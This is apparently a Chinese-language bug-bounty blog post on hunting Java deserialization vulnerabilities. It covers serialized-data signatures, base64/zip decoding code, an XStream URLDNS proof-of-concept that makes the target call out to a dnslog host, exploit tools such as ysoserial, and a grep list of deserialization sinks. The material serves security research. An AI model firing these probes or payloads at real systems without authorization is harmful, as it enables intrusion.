背景條件:java的框架,java的應用程序,使用序列化,反序列化操作非常多。在漏洞挖掘中,代碼審計中,安全研究中,反序列化漏洞是個重點項,不可忽視。尤其是java應用程序的rce,10個裏面有7個是因爲反序列化導致的rce漏洞。
關於危害:漏洞挖掘中,一旦挖到反序列化漏洞,一般造成的風險極大。這裏不對危害做過多描述。
花了幾天時間,二次研究了下反序列化漏洞,發現反序列化漏洞不僅在白盒中使用廣泛,在黑盒中,也有應用場景,對應的誕生了一些黑盒fuzz的技巧。
經過大量的閱讀文獻和調研, 我發現有些複雜的漏洞黑盒fuzz效率高於白盒代碼審計。比較合理且全面的的一次測試是:黑盒+白盒結合
序列化含義:
1.凍結操作,對象封裝成字符串 2.保存的是值和數據類型 3.將數據對象轉換爲字節流 4.將數據對象轉換成任意格式,如字節流
反序列化含義:
1.解凍操作,數據恢復成對象,將字節流轉換爲數據
2.將xml,json格式的字節流數據轉換回網絡對象,數據對象等
java序列化數據特徵分析:
aced 0005 : .*sr.*
base64前綴固定特徵:rO0
zip格式特徵:PK*
zip+base64編碼數據123特徵 UE*:
public static String zipString(String primStr) { if (primStr == null || primStr.length() == 0) { return primStr; } ByteArrayOutputStream out = null; ZipOutputStream zout = null; try { out = new ByteArrayOutputStream(); zout = new ZipOutputStream(out); zout.putNextEntry(new ZipEntry("0")); zout.write(primStr.getBytes("utf-8")); zout.closeEntry(); return new BASE64Encoder().encode(out.toByteArray()); } catch (IOException e) { return null; } finally { if (zout != null) { try { zout.close(); } catch (IOException e) { e.printStackTrace(); } } } }
zip+base64編碼數據123解碼:
public static final String unzipString(String compressedStr) { if (compressedStr == null) { return null; } ByteArrayOutputStream out = null; ByteArrayInputStream in = null; ZipInputStream zin = null; String decompressed = null; try { byte[] compressed = new BASE64Decoder().decodeBuffer(compressedStr); out = new ByteArrayOutputStream(); in = new ByteArrayInputStream(compressed); zin = new ZipInputStream(in); zin.getNextEntry(); byte[] buffer = new byte[1024]; int offset = -1; while ((offset = zin.read(buffer)) != -1) { out.write(buffer, 0, offset); } decompressed = out.toString("utf-8"); } catch (IOException e) { decompressed = null; } finally { if (zin != null) { try { zin.close(); } catch (IOException e) { e.printStackTrace(); } } if (in != null) { try { in.close(); } catch (IOException e) { e.printStackTrace(); } } if (out != null) { try { out.close(); } catch (IOException e) { e.printStackTrace(); } } } return decompressed;
解碼:
gzip base64數據特徵:H4s開頭的爲gzip+base64
gzip+base64數據解碼:
echo 'H4sIAHG+vmIAAzM0MuYCAAj9gloEAAAA' | base64 -d | gzip -dv
java反序列化黑盒實戰案例
黑盒測試1:常規的:fastjson/shiro/jackson/jdbc,網上exp,分析報告滿天飛 src/衆測多爲這種漏洞 外加log4j2
黑盒測試2: yaml反序列化rce黑盒測試案例,特地找的案例,寫的很詳細:https://github.com/EdgeGallery/developer-be/issues/1
⿊盒測試3:xstream 反序列化 黑盒的時候具有參考性,可行性:https://cangqingzhe.github.io/2021/05/15/泛微Xstream反序列化漏洞分析/
單獨對xml的反序列化漏洞說明:
使用urldns探測,黑盒也儘量這樣搞,用urldns! 先urldns探測,再嘗試找利用鏈!:
public class demo1 { public static void main(String[] args) throws MalformedURLException { XStream xStream =new XStream(); String url="http://9ofptp.dnslog.cn/"; URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //xml序列化 String s = xStream.toXML(ht); System.out.println(s); //xml反序列化 xStream.fromXML(s); } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } }
輸出:
<map> <entry> <url>http://9ofptp.dnslog.cn/</url> <string>http://9ofptp.dnslog.cn/</string> </entry> </map> Process finished with exit code 0
反序列化的時候觸發:
黑盒測試poc:
<map> <entry> <url>http://9ofptp.dnslog.cn/</url> <string>http://9ofptp.dnslog.cn/</string> </entry> </map> 此poc優勢:特徵少
黑盒測試4:基於請求類型測試
黑盒的時候,要注意觀察Content-Type
Content-Type: application/x-java-serialized-objec
參考案例,案例寫的很詳細:https://cloud.tencent.com/developer/article/1653628
黑盒測試5:根據序列化特徵識別,然後fuzz
常見案例:jsf viewstate 反序列化漏洞 ,這個大家挖國內遇到的不多,如果挖國外衆測多的話,這個會遇到的,本人前幾天遇到過一次。
傳送門:https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a
java反序列化白盒優秀的學習文章案例:
1.分析fastjson/shiro/jdbc等漏洞,這個不說了,我博客寫了很多案例了,網上別人也寫了很多!
2.https://cangqingzhe.github.io/2021/05/15/泛微Xstream反序列化漏洞分析/
3.https://xz.aliyun.com/t/8184/
4.https://cloud.tencent.com/developer/article/1653628
5.https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
6.https://ssd-disclosure.com/ssd-advisory-netmotion-mobility-server-multiple-deserialization-of-untrusted-data-lead-to-rce/
後續遇到好的反序列化漏洞挖掘案例,我會繼續補充
。。。。。
java反序列化利用工具
(1)ysoserial
ysoserial 是在常見 Java 庫中發現的實用程序和麪向屬性的編程“小工具鏈”的集合,可以在適當的條件下利用 Java 應用程序執行不安全的對象反序列化。主驅動程序接受用戶指定的命令並將其包裝在用戶指定的小工具鏈中,然後將這些對象序列化到標準輸出。當類路徑上具有所需小工具的應用程序不安全地反序列化此數據時,將自動調用鏈並導致命令在應用程序主機上執行。
(2)marshalsec
https://github.com/mbechler/marshalsec
(3)補充項: python序列化payload⽣成器 偶然看到 具備黑盒價值,可以說涉及到yaml的都具備黑盒價值:
⽀持格式:json,yaml和pickle
再次補充:php的yso是phpggc,.net也有一個yso,是pwntester寫的。
⼿⼯尋找java反序列化sink:
配合grep/semgrep使用更香哦。以前的文章有寫。
.*readObject\(.* java.beans.XMLDecoder com.thoughtworks.xstream.XStream .*\.fromXML\(.*\) com.esotericsoftware.kryo.io.Input .readClassAndObject\(.* .readObjectOrNull\(.* com.caucho.hessian.io com.caucho.burlap.io.BurlapInput com.caucho.burlap.io.BurlapOutput org.codehaus.castor Unmarshaller jsonToJava\(.* JsonObjectsToJava\/.* JsonReader ObjectMapper\( enableDefaultTyping\(\s*\) @JsonTypeInfo\( readValue\(.*\,\s*Object\.class com.alibaba.fastjson.JSON JSON.parseObject com.owlike.genson.Genson useRuntimeType genson.deserialize org.red5.io deserialize\(.*\,\s*Object\.class \.Yaml \.load\(.* \.loadType\(.*\,\s*Object\.class YamlReader com.esotericsoftware.yamlbeans 。。。。。。
參考:https://klezvirus.github.io/Advanced-Web-Hacking/Serialisation/
其他語言序列化,反序列化特徵參考:
半自動化尋找反序列化sink:
(1)https://securitylab.github.com/research/insecure-deserialization/
(2)codeql